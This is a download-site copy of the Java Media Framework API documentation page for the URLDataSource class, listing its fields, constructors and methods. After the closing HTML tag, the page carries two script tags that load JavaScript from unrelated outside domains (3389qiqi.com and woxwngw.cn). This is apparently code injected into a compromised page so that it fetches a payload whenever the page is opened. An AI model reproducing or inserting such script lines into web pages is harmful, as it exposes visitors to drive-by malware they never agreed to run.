⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 urldatasource.html

📁 JMF原版英文说明文档
💻 HTML
📖 第 1 页 / 共 2 页
字号:
</TR></TABLE>&nbsp;<P><!-- ============ FIELD DETAIL =========== --><A NAME="field_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Field Detail</B></FONT></TD></TR></TABLE><A NAME="conn"><!-- --></A><H3>conn</H3><PRE>protected java.net.URLConnection <B>conn</B></PRE><DL></DL><HR><A NAME="contentType"><!-- --></A><H3>contentType</H3><PRE>protected <A HREF="../../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A> <B>contentType</B></PRE><DL></DL><HR><A NAME="sources"><!-- --></A><H3>sources</H3><PRE>protected javax.media.protocol.URLDataSource.URLSourceStream[] <B>sources</B></PRE><DL></DL><HR><A NAME="connected"><!-- --></A><H3>connected</H3><PRE>protected boolean <B>connected</B></PRE><DL></DL><!-- ========= CONSTRUCTOR DETAIL ======== --><A NAME="constructor_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Constructor Detail</B></FONT></TD></TR></TABLE><A NAME="URLDataSource()"><!-- --></A><H3>URLDataSource</H3><PRE>protected <B>URLDataSource</B>()</PRE><DL><DD>Implemented by subclasses.</DL><HR><A NAME="URLDataSource(java.net.URL)"><!-- --></A><H3>URLDataSource</H3><PRE>public <B>URLDataSource</B>(java.net.URL&nbsp;url)              throws java.io.IOException</PRE><DL><DD>Construct a <CODE>URLDataSource</CODE> directly from a <code>URL</code>.</DL><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getStreams()"><!-- --></A><H3>getStreams</H3><PRE>public <A HREF="../../../javax/media/protocol/PullSourceStream.html">PullSourceStream</A>[] <B>getStreams</B>()</PRE><DL><DD><B>Description copied from class: <A HREF="../../../javax/media/protocol/PullDataSource.html">PullDataSource</A></B></DD><DD>Get the collection of streams that this source manages. The collection of streams is entirely content dependent. The  MIME type of this <CODE>DataSource</CODE> provides the only indication of what streams can be available on this connection.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/PullDataSource.html#getStreams()">getStreams</A> in class <A HREF="../../../javax/media/protocol/PullDataSource.html">PullDataSource</A></DL></DD><DD><B>Tags copied from class: <A HREF="../../../javax/media/protocol/PullDataSource.html">PullDataSource</A></B></DD><DD><DL><DT><B>Returns:</B><DD>The collection of streams for this source.</DL></DD></DL><HR><A NAME="connect()"><!-- --></A><H3>connect</H3><PRE>public void <B>connect</B>()             throws java.io.IOException</PRE><DL><DD>Initialize the connection with the source.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/DataSource.html#connect()">connect</A> in class <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></DL></DD><DD><DL><DT><B>Throws:</B><DD>java.io.IOException - Thrown if there are problems setting up the connection.</DL></DD></DL><HR><A NAME="getContentType()"><!-- --></A><H3>getContentType</H3><PRE>public java.lang.String <B>getContentType</B>()</PRE><DL><DD>Return the content type name.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/DataSource.html#getContentType()">getContentType</A> in class <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></DL></DD><DD><DL><DT><B>Returns:</B><DD>The content type name.</DL></DD></DL><HR><A NAME="disconnect()"><!-- --></A><H3>disconnect</H3><PRE>public void <B>disconnect</B>()</PRE><DL><DD>Disconnect the source.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/DataSource.html#disconnect()">disconnect</A> in class <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></DL></DD></DL><HR><A NAME="start()"><!-- --></A><H3>start</H3><PRE>public void <B>start</B>()           throws java.io.IOException</PRE><DL><DD><B>Description copied from class: <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></B></DD><DD>Initiate data-transfer. The <CODE>start</CODE> method must be called before data is available.(You must call <CODE>connect</CODE> before calling <CODE>start</CODE>.)<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/DataSource.html#start()">start</A> in class <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></DL></DD><DD><B>Tags copied from class: <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></B></DD><DD><DL><DT><B>Throws:</B><DD>java.io.IOException - Thrown if there are IO problems with the source when <CODE>start</CODE> is called.</DL></DD></DL><HR><A NAME="stop()"><!-- --></A><H3>stop</H3><PRE>public void <B>stop</B>()          throws java.io.IOException</PRE><DL><DD>Stops the<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/DataSource.html#stop()">stop</A> in class <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></DL></DD></DL><HR><A NAME="getDuration()"><!-- --></A><H3>getDuration</H3><PRE>public <A HREF="../../../javax/media/Time.html">Time</A> <B>getDuration</B>()</PRE><DL><DD>Returns <code>Duration.DURATION_UNKNOWN</code>. The duration is not available from an <code>InputStream</code>.<DD><DL><DT><B>Returns:</B><DD><code>Duration.DURATION_UNKNOWN</code>.</DL></DD></DL><HR><A NAME="getControls()"><!-- --></A><H3>getControls</H3><PRE>public java.lang.Object[] <B>getControls</B>()</PRE><DL><DD>Returns an empty array, because this source doesn't provide any controls.<DD><DL><DT><B>Returns:</B><DD>empty <code>Object</code> array.</DL></DD></DL><HR><A NAME="getControl(java.lang.String)"><!-- --></A><H3>getControl</H3><PRE>public java.lang.Object <B>getControl</B>(java.lang.String&nbsp;controlName)</PRE><DL><DD>Returns null, because this source doesn't provide any controls.<DD><B>Tags copied from interface: <A HREF="../../../javax/media/Controls.html">Controls</A></B></DD><DD><DL><DT><B>Returns:</B><DD>the object that implements the control, or <code>null</code>.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;<A HREF="../../../javax/media/protocol/RateRange.html"><B>PREV CLASS</B></A>&nbsp;&nbsp;NEXT CLASS</FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="URLDataSource.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1">  <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -